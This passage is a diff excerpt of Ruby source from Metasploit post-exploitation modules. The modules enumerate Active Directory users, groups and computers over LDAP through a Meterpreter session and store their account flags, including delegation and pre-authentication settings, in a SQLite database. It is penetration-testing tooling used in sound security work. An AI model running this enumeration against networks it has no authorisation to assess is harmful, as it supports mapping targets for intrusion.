print_line "Group [#{individual_group[3][:value]}][#{group_rid}] has member [#{group_user[3][:value]}][#{user_rid}]" if datastore['SHOW_USERGROUPS']
|
||||
|
||||
uac_int = group_user[7][:value].to_i # Set this because it is used so frequently below
|
||||
sat_int = group_user[2][:value].to_i
|
||||
|
||||
# Add the group to the database
|
||||
# Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx
|
||||
sql_param_user = { u_rid: user_rid,
|
||||
u_distinguishedName: group_user[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_sAMAccountType: group_user[2][:value].to_i,
|
||||
u_sAMAccountName: group_user[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_displayName: group_user[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_description: group_user[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_logonCount: group_user[6][:value].to_i,
|
||||
u_userAccountControl: uac_int,
|
||||
u_userPrincipalName: group_user[8][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_whenChanged: group_user[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_whenCreated: group_user[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_primaryGroupID: group_user[11][:value].to_i,
|
||||
u_badPwdCount: group_user[12][:value].to_i,
|
||||
u_comment: group_user[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_title: group_user[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
u_cn: group_user[15][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
# Indicates that a given object has had its ACLs changed to a more secure value by the
|
||||
# system because it was a member of one of the administrative groups (directly or transitively).
|
||||
u_adminCount: group_user[16][:value].to_i,
|
||||
u_manager: group_user[17][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
# The login script is executed
|
||||
u_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1,
|
||||
# The user account is disabled.
|
||||
u_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1,
|
||||
# The home directory is required.
|
||||
u_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1,
|
||||
# The account is currently locked out.
|
||||
u_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1,
|
||||
# No password is required.
|
||||
u_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1,
|
||||
# The user cannot change the password.
|
||||
u_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1,
|
||||
# The user can send an encrypted password.
|
||||
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1,
|
||||
# This is an account for users whose primary account is in another domain. This account
|
||||
# provides user access to this domain, but not to any domain that trusts this domain.
|
||||
# Also known as a local user account.
|
||||
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1,
|
||||
# This is a default account type that represents a typical user.
|
||||
u_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1,
|
||||
# This is a permit to trust account for a system domain that trusts other domains.
|
||||
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1,
|
||||
# This is a computer account for a computer that is a member of this domain.
|
||||
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1,
|
||||
# This is a computer account for a system backup domain controller that is a member of this domain.
|
||||
u_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1,
|
||||
# The password for this account will never expire.
|
||||
u_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1,
|
||||
# This is an MNS logon account.
|
||||
u_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1,
|
||||
# The user must log on using a smart card.
|
||||
u_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1,
|
||||
# The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation.
|
||||
# Any such service can impersonate a client requesting the service.
|
||||
u_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1,
|
||||
# The security context of the user will not be delegated to a service even if the service
|
||||
# account is set as trusted for Kerberos delegation.
|
||||
u_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1,
|
||||
# Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys.
|
||||
u_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1,
|
||||
# This account does not require Kerberos pre-authentication for logon.
|
||||
u_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1,
|
||||
# The password has expired
|
||||
u_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1,
|
||||
# The account is enabled for delegation. This is a security-sensitive setting; accounts with
|
||||
# this option enabled should be strictly controlled. This setting enables a service running
|
||||
# under the account to assume a client identity and authenticate as that user to other remote
|
||||
# servers on the network.
|
||||
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1,
|
||||
# Now add sAMAccountType constants
|
||||
u_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
|
||||
u_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
|
||||
u_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
|
||||
u_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
|
||||
u_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
|
||||
u_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
|
||||
u_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
|
||||
u_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
|
||||
u_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
|
||||
u_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
|
||||
u_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
|
||||
}
|
||||
run_sqlite_query(db, 'ad_users', sql_param_user)
|
||||
|
||||
# Now associate the user with the group
|
||||
sql_param_mapping = { user_rid: user_rid,
|
||||
group_rid: group_rid
|
||||
}
|
||||
run_sqlite_query(db, 'ad_mapping', sql_param_mapping)
|
||||
end
|
||||
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error(Users): #{e.message}")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
group_gather.map(&:join)
|
||||
end
|
||||
|
||||
vprint_status "Retrieving computers"
|
||||
begin
|
||||
computer_filter = '(objectClass=computer)'
|
||||
computer_fields = ['distinguishedName', 'objectSid', 'cn', 'dNSHostName', 'sAMAccountType', 'sAMAccountName', 'displayName', 'logonCount', 'userAccountControl', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'operatingSystem', 'operatingSystemServicePack', 'operatingSystemVersion', 'description', 'comment']
|
||||
computers = query(computer_filter, max_search, computer_fields)
|
||||
|
||||
computers[:results].each do |comp|
|
||||
computer_rid = get_rid(comp[1][:value]).to_i
|
||||
|
||||
uac_int = comp[8][:value].to_i # Set this because it is used so frequently below
|
||||
sat_int = comp[4][:value].to_i
|
||||
|
||||
# Add the group to the database
|
||||
# Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx
|
||||
# Note that userAccountControl is basically the same for a computer as a user; this is because a computer account is derived from a user account
|
||||
# (if you look at the objectClass for a computer account, it includes 'user') and, for efficiency, we should really store it all in one
|
||||
# table. However, the reality is that it will get annoying for users to have to remember to use the userAccountControl flags to work out whether
|
||||
# its a user or a computer and so, for convenience and ease of use, I have put them in completely separate tables.
|
||||
# Also add the sAMAccount type flags from https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637(v=vs.85).aspx
|
||||
sql_param_computer = { c_rid: computer_rid,
|
||||
c_distinguishedName: comp[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_cn: comp[2][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_dNSHostName: comp[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_sAMAccountType: sat_int,
|
||||
c_sAMAccountName: comp[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_displayName: comp[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_logonCount: comp[7][:value].to_i,
|
||||
c_userAccountControl: uac_int,
|
||||
c_whenChanged: comp[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_whenCreated: comp[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_primaryGroupID: comp[11][:value].to_i,
|
||||
c_badPwdCount: comp[12][:value].to_i,
|
||||
c_operatingSystem: comp[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_operatingSystemServicePack: comp[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_operatingSystemVersion: comp[15][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_description: comp[16][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
c_comment: comp[17][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
# The login script is executed
|
||||
c_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1,
|
||||
# The user account is disabled.
|
||||
c_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1,
|
||||
# The home directory is required.
|
||||
c_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1,
|
||||
# The account is currently locked out.
|
||||
c_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1,
|
||||
# No password is required.
|
||||
c_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1,
|
||||
# The user cannot change the password.
|
||||
c_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1,
|
||||
# The user can send an encrypted password.
|
||||
c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1,
|
||||
# This is an account for users whose primary account is in another domain. This account
|
||||
# provides user access to this domain, but not to any domain that trusts this domain.
|
||||
# Also known as a local user account.
|
||||
c_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1,
|
||||
# This is a default account type that represents a typical user.
|
||||
c_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1,
|
||||
# This is a permit to trust account for a system domain that trusts other domains.
|
||||
c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1,
|
||||
# This is a computer account for a computer that is a member of this domain.
|
||||
c_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1,
|
||||
# This is a computer account for a system backup domain controller that is a member of this domain.
|
||||
c_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1,
|
||||
# The password for this account will never expire.
|
||||
c_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1,
|
||||
# This is an MNS logon account.
|
||||
c_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1,
|
||||
# The user must log on using a smart card.
|
||||
c_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1,
|
||||
# The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation.
|
||||
# Any such service can impersonate a client requesting the service.
|
||||
c_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1,
|
||||
# The security context of the user will not be delegated to a service even if the service
|
||||
# account is set as trusted for Kerberos delegation.
|
||||
c_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1,
|
||||
# Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys.
|
||||
c_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1,
|
||||
# This account does not require Kerberos pre-authentication for logon.
|
||||
c_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1,
|
||||
# The password has expired
|
||||
c_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1,
|
||||
# The account is enabled for delegation. This is a security-sensitive setting; accounts with
|
||||
# this option enabled should be strictly controlled. This setting enables a service running
|
||||
# under the account to assume a client identity and authenticate as that user to other remote
|
||||
# servers on the network.
|
||||
c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1,
|
||||
# Now add the sAMAccountType objects
|
||||
c_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
|
||||
c_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
|
||||
c_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
|
||||
c_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
|
||||
c_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
|
||||
c_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
|
||||
c_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
|
||||
c_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
|
||||
c_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
|
||||
c_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
|
||||
c_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
|
||||
}
|
||||
run_sqlite_query(db, 'ad_computers', sql_param_computer)
|
||||
print_line "Computer [#{sql_param_computer[:c_cn]}][#{sql_param_computer[:c_dNSHostName]}][#{sql_param_computer[:c_rid]}]" if datastore['SHOW_COMPUTERS']
|
||||
end
|
||||
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error(Computers): #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
# Finished enumeration, now safely close the database
|
||||
if db && db.close
|
||||
f = ::File.size(dbfile.to_s)
|
||||
print_status "Database closed: #{dbfile} at #{f} byte(s)"
|
||||
end
|
||||
end
|
||||
|
||||
# Run the parameterised SQL query
|
||||
def run_sqlite_query(db, table_name, values)
|
||||
sql_param_columns = values.keys
|
||||
sql_param_bind_params = values.keys.map { |k| ":#{k}" }
|
||||
db.execute("replace into #{table_name} (#{sql_param_columns.join(',')}) VALUES (#{sql_param_bind_params.join(',')})", values)
|
||||
end
|
||||
|
||||
# Creat the SQLite Database
|
||||
def create_sqlite_db
|
||||
begin
|
||||
obj_temp = ::Dir::Tmpname
|
||||
filename = "#{obj_temp.tmpdir}/#{obj_temp.make_tmpname('ad_', 2)}.db"
|
||||
db = SQLite3::Database.new(filename)
|
||||
db.type_translation = true
|
||||
|
||||
# Create the table for the AD Computers
|
||||
db.execute('DROP TABLE IF EXISTS ad_computers')
|
||||
sql_table_computers = 'CREATE TABLE ad_computers ('\
|
||||
'c_rid INTEGER PRIMARY KEY NOT NULL,'\
|
||||
'c_distinguishedName TEXT UNIQUE NOT NULL,'\
|
||||
'c_cn TEXT,'\
|
||||
'c_sAMAccountType INTEGER,'\
|
||||
'c_sAMAccountName TEXT UNIQUE NOT NULL,'\
|
||||
'c_dNSHostName TEXT,'\
|
||||
'c_displayName TEXT,'\
|
||||
'c_logonCount INTEGER,'\
|
||||
'c_userAccountControl INTEGER,'\
|
||||
'c_primaryGroupID INTEGER,'\
|
||||
'c_badPwdCount INTEGER,'\
|
||||
'c_description TEXT,'\
|
||||
'c_comment TEXT,'\
|
||||
'c_operatingSystem TEXT,'\
|
||||
'c_operatingSystemServicePack TEXT,'\
|
||||
'c_operatingSystemVersion TEXT,'\
|
||||
'c_whenChanged TEXT,'\
|
||||
'c_whenCreated TEXT,'\
|
||||
'c_ADS_UF_SCRIPT INTEGER,'\
|
||||
'c_ADS_UF_ACCOUNTDISABLE INTEGER,'\
|
||||
'c_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\
|
||||
'c_ADS_UF_LOCKOUT INTEGER,'\
|
||||
'c_ADS_UF_PASSWD_NOTREQD INTEGER,'\
|
||||
'c_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\
|
||||
'c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\
|
||||
'c_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_NORMAL_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\
|
||||
'c_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\
|
||||
'c_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\
|
||||
'c_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\
|
||||
'c_ADS_UF_NOT_DELEGATED INTEGER,'\
|
||||
'c_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\
|
||||
'c_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\
|
||||
'c_ADS_UF_PASSWORD_EXPIRED INTEGER,'\
|
||||
'c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\
|
||||
'c_SAM_DOMAIN_OBJECT INTEGER,'\
|
||||
'c_SAM_GROUP_OBJECT INTEGER,'\
|
||||
'c_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
|
||||
'c_SAM_ALIAS_OBJECT INTEGER,'\
|
||||
'c_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
|
||||
'c_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
|
||||
'c_SAM_MACHINE_ACCOUNT INTEGER,'\
|
||||
'c_SAM_TRUST_ACCOUNT INTEGER,'\
|
||||
'c_SAM_APP_BASIC_GROUP INTEGER,'\
|
||||
'c_SAM_APP_QUERY_GROUP INTEGER,'\
|
||||
'c_SAM_ACCOUNT_TYPE_MAX INTEGER)'
|
||||
db.execute(sql_table_computers)
|
||||
|
||||
# Create the table for the AD Groups
|
||||
db.execute('DROP TABLE IF EXISTS ad_groups')
|
||||
sql_table_group = 'CREATE TABLE ad_groups ('\
|
||||
'g_rid INTEGER PRIMARY KEY NOT NULL,'\
|
||||
'g_distinguishedName TEXT UNIQUE NOT NULL,'\
|
||||
'g_sAMAccountType INTEGER,'\
|
||||
'g_sAMAccountName TEXT UNIQUE NOT NULL,'\
|
||||
'g_groupType INTEGER,'\
|
||||
'g_adminCount INTEGER,'\
|
||||
'g_description TEXT,'\
|
||||
'g_comment TEXT,'\
|
||||
'g_cn TEXT,'\
|
||||
'g_managedBy TEXT,'\
|
||||
'g_whenChanged TEXT,'\
|
||||
'g_whenCreated TEXT,'\
|
||||
'g_GT_GROUP_CREATED_BY_SYSTEM INTEGER,'\
|
||||
'g_GT_GROUP_SCOPE_GLOBAL INTEGER,'\
|
||||
'g_GT_GROUP_SCOPE_LOCAL INTEGER,'\
|
||||
'g_GT_GROUP_SCOPE_UNIVERSAL INTEGER,'\
|
||||
'g_GT_GROUP_SAM_APP_BASIC INTEGER,'\
|
||||
'g_GT_GROUP_SAM_APP_QUERY INTEGER,'\
|
||||
'g_GT_GROUP_SECURITY INTEGER,'\
|
||||
'g_GT_GROUP_DISTRIBUTION INTEGER,'\
|
||||
'g_SAM_DOMAIN_OBJECT INTEGER,'\
|
||||
'g_SAM_GROUP_OBJECT INTEGER,'\
|
||||
'g_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
|
||||
'g_SAM_ALIAS_OBJECT INTEGER,'\
|
||||
'g_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
|
||||
'g_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
|
||||
'g_SAM_MACHINE_ACCOUNT INTEGER,'\
|
||||
'g_SAM_TRUST_ACCOUNT INTEGER,'\
|
||||
'g_SAM_APP_BASIC_GROUP INTEGER,'\
|
||||
'g_SAM_APP_QUERY_GROUP INTEGER,'\
|
||||
'g_SAM_ACCOUNT_TYPE_MAX INTEGER)'
|
||||
db.execute(sql_table_group)
|
||||
|
||||
# Create the table for the AD Users
|
||||
db.execute('DROP TABLE IF EXISTS ad_users')
|
||||
sql_table_users = 'CREATE TABLE ad_users ('\
|
||||
'u_rid INTEGER PRIMARY KEY NOT NULL,'\
|
||||
'u_distinguishedName TEXT UNIQUE NOT NULL,'\
|
||||
'u_description TEXT,'\
|
||||
'u_displayName TEXT,'\
|
||||
'u_sAMAccountType INTEGER,'\
|
||||
'u_sAMAccountName TEXT,'\
|
||||
'u_logonCount INTEGER,'\
|
||||
'u_userAccountControl INTEGER,'\
|
||||
'u_primaryGroupID INTEGER,'\
|
||||
'u_cn TEXT,'\
|
||||
'u_adminCount INTEGER,'\
|
||||
'u_badPwdCount INTEGER,'\
|
||||
'u_userPrincipalName TEXT UNIQUE,'\
|
||||
'u_comment TEXT,'\
|
||||
'u_title TEXT,'\
|
||||
'u_manager TEXT,'\
|
||||
'u_whenCreated TEXT,'\
|
||||
'u_whenChanged TEXT,'\
|
||||
'u_ADS_UF_SCRIPT INTEGER,'\
|
||||
'u_ADS_UF_ACCOUNTDISABLE INTEGER,'\
|
||||
'u_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\
|
||||
'u_ADS_UF_LOCKOUT INTEGER,'\
|
||||
'u_ADS_UF_PASSWD_NOTREQD INTEGER,'\
|
||||
'u_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\
|
||||
'u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\
|
||||
'u_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_NORMAL_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\
|
||||
'u_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\
|
||||
'u_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\
|
||||
'u_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\
|
||||
'u_ADS_UF_NOT_DELEGATED INTEGER,'\
|
||||
'u_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\
|
||||
'u_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\
|
||||
'u_ADS_UF_PASSWORD_EXPIRED INTEGER,'\
|
||||
'u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\
|
||||
'u_SAM_DOMAIN_OBJECT INTEGER,'\
|
||||
'u_SAM_GROUP_OBJECT INTEGER,'\
|
||||
'u_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\
|
||||
'u_SAM_ALIAS_OBJECT INTEGER,'\
|
||||
'u_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\
|
||||
'u_SAM_NORMAL_USER_ACCOUNT INTEGER,'\
|
||||
'u_SAM_MACHINE_ACCOUNT INTEGER,'\
|
||||
'u_SAM_TRUST_ACCOUNT INTEGER,'\
|
||||
'u_SAM_APP_BASIC_GROUP INTEGER,'\
|
||||
'u_SAM_APP_QUERY_GROUP INTEGER,'\
|
||||
'u_SAM_ACCOUNT_TYPE_MAX INTEGER)'
|
||||
db.execute(sql_table_users)
|
||||
|
||||
# Create the table for the mapping between the two (membership)
|
||||
db.execute('DROP TABLE IF EXISTS ad_mapping')
|
||||
sql_table_mapping = 'CREATE TABLE ad_mapping ('\
|
||||
'user_rid INTEGER NOT NULL,' \
|
||||
'group_rid INTEGER NOT NULL,'\
|
||||
'PRIMARY KEY (user_rid, group_rid),'\
|
||||
'FOREIGN KEY(user_rid) REFERENCES ad_users(u_rid)'\
|
||||
'FOREIGN KEY(group_rid) REFERENCES ad_groups(g_rid))'
|
||||
db.execute(sql_table_mapping)
|
||||
|
||||
# Create the view for the AD User/Group membership
|
||||
db.execute('DROP VIEW IF EXISTS view_mapping')
|
||||
sql_view_mapping = 'CREATE VIEW view_mapping AS SELECT ad_groups.*,ad_users.* FROM ad_mapping '\
|
||||
'INNER JOIN ad_groups ON ad_groups.g_rid = ad_mapping.group_rid '\
|
||||
'INNER JOIN ad_users ON ad_users.u_rid = ad_mapping.user_rid'
|
||||
db.execute(sql_view_mapping)
|
||||
|
||||
return db, filename
|
||||
|
||||
rescue SQLite3::Exception => e
|
||||
print_error("Error(Database): #{e.message}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def get_rid(data)
|
||||
sid = data.unpack("bbbbbbbbV*")[8..-1]
|
||||
sid[-1]
|
||||
end
|
||||
end
|
|
@ -9,7 +9,7 @@ require 'msf/core'
|
|||
class MetasploitModule < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::LDAP
|
||||
# include Msf::Post::Windows::Accounts
|
||||
# include Msf::Post::Windows::Accounts
|
||||
|
||||
USER_FIELDS = ['name',
|
||||
'distinguishedname',
|
||||
|
@ -19,9 +19,9 @@ class MetasploitModule < Msf::Post
|
|||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Windows Gather Active Directory Groups',
|
||||
'Description' => %{
|
||||
'Description' => %(
|
||||
This module will enumerate AD groups on the specified domain.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
|
||||
|
@ -32,6 +32,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
register_options([
|
||||
OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),
|
||||
OptString.new('FILTER', [false, 'Customised LDAP filter', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -39,14 +40,16 @@ class MetasploitModule < Msf::Post
|
|||
@user_fields = USER_FIELDS.dup
|
||||
|
||||
if datastore['ADDITIONAL_FIELDS']
|
||||
additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',')
|
||||
additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',')
|
||||
@user_fields.push(*additional_fields)
|
||||
end
|
||||
|
||||
max_search = datastore['MAX_SEARCH']
|
||||
|
||||
begin
|
||||
q = query('(objectClass=group)', max_search, @user_fields)
|
||||
f = ""
|
||||
f = "(#{datastore['FILTER']})" if datastore['FILTER']
|
||||
